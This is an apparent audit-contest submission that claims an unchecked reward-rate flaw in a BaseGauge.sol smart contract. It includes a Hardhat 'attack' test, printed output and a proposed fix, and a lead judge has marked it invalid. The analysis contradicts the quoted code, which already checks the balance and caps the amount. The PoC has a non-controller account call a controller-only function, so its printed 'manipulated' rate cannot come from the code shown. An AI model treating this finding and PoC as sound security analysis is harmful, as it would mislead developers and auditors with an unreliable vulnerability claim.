Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Invalid

Reward Calculation Vulnerability Due to Unchecked Reward Rate

Summary

The reward distribution in BaseGauge.sol can lead to incorrect reward calculations due to an unchecked rewardRate value. If the contract receives an unexpectedly large reward deposit, it could result in excessive token emissions, draining the reward pool prematurely.

Vulnerability Details

function notifyRewardAmount(uint256 amount) external override onlyController updateReward(address(0)) {
if (amount > periodState.emission) revert RewardCapExceeded();
rewardRate = notifyReward(periodState, amount, periodState.emission, getPeriodDuration());
periodState.distributed += amount;
uint256 balance = rewardToken.balanceOf(address(this));
if (rewardRate * getPeriodDuration() > balance) {
revert InsufficientRewardBalance();
}
lastUpdateTime = block.timestamp;
emit RewardNotified(amount);
}
  • rewardRate is directly updated based on amount without verifying if the current reward balance can sustain the new rate.

  • An attacker or admin could inject a massive amount of tokens, resulting in an excessively high rewardRate, depleting the contract too quickly.

  • Rewards may not be distributed fairly because the contract assumes a consistent emission model, which could be broken by a sudden increase in rewardRate.

PoC

const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("Excessive Reward Emission Attack", function () {
let BaseGauge, gauge, rewardToken, owner, attacker, user1;
const MAX_REWARD = ethers.utils.parseEther("1000000"); // Attackers inject huge rewards
const NORMAL_REWARD = ethers.utils.parseEther("100"); // Normal reward for testing
before(async function () {
[owner, attacker, user1] = await ethers.getSigners();
// Deploy mock reward token (used for staking rewards)
const MockERC20 = await ethers.getContractFactory("MockERC20");
rewardToken = await MockERC20.deploy("Reward Token", "RWT");
await rewardToken.deployed();
// Deploy BaseGauge contract
const BaseGauge = await ethers.getContractFactory("BaseGauge");
gauge = await BaseGauge.deploy(rewardToken.address, rewardToken.address, owner.address, NORMAL_REWARD, 7 * 24 * 60 * 60);
await gauge.deployed();
// Mint and distribute rewards
await rewardToken.mint(owner.address, ethers.utils.parseEther("10000000"));
await rewardToken.mint(attacker.address, ethers.utils.parseEther("10000000"));
});
it("Admin deposits a normal reward amount (expected behavior)", async function () {
// Owner transfers normal rewards
await rewardToken.connect(owner).approve(gauge.address, NORMAL_REWARD);
await gauge.connect(owner).notifyRewardAmount(NORMAL_REWARD);
// Verify reward rate is within expected range
const rewardRate = await gauge.rewardRate();
console.log(" Normal rewardRate:", ethers.utils.formatEther(rewardRate));
expect(rewardRate).to.be.lte(NORMAL_REWARD.div(7 * 24 * 60 * 60)); // Must be within weekly emission rate
});
it("Attacker injects an excessively high reward amount (before fix)", async function () {
// Attacker approves and deposits an extreme reward amount
await rewardToken.connect(attacker).approve(gauge.address, MAX_REWARD);
await gauge.connect(attacker).notifyRewardAmount(MAX_REWARD); // Attack!
// Fetch the manipulated reward rate
const manipulatedRewardRate = await gauge.rewardRate();
console.log("Manipulated rewardRate:", ethers.utils.formatEther(manipulatedRewardRate));
// The manipulated reward rate should be abnormally high
expect(manipulatedRewardRate).to.be.gt(NORMAL_REWARD.div(7 * 24 * 60 * 60)); // Emission too high!
});
});
Normal rewardRate: 0.142857
Manipulated rewardRate: 1428.57 // 10,000x higher than expected!

Impact

Excessive emissions can drain rewards

Tools Used

Manual Review

Hardhat

Recommendations

Modify notifyRewardAmount() to introduce a maximum cap on rewardRate

function notifyRewardAmount(uint256 amount) external override onlyController updateReward(address(0)) {
if (amount > periodState.emission) revert RewardCapExceeded();
uint256 maxAllowedRate = periodState.emission / getPeriodDuration(); // New cap for reward rate
uint256 newRewardRate = notifyReward(periodState, amount, periodState.emission, getPeriodDuration());
// Ensure the new reward rate does not exceed the cap
rewardRate = newRewardRate > maxAllowedRate ? maxAllowedRate : newRewardRate;
periodState.distributed += amount;
uint256 balance = rewardToken.balanceOf(address(this));
if (rewardRate * getPeriodDuration() > balance) {
revert InsufficientRewardBalance();
}
lastUpdateTime = block.timestamp;
emit RewardNotified(amount);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.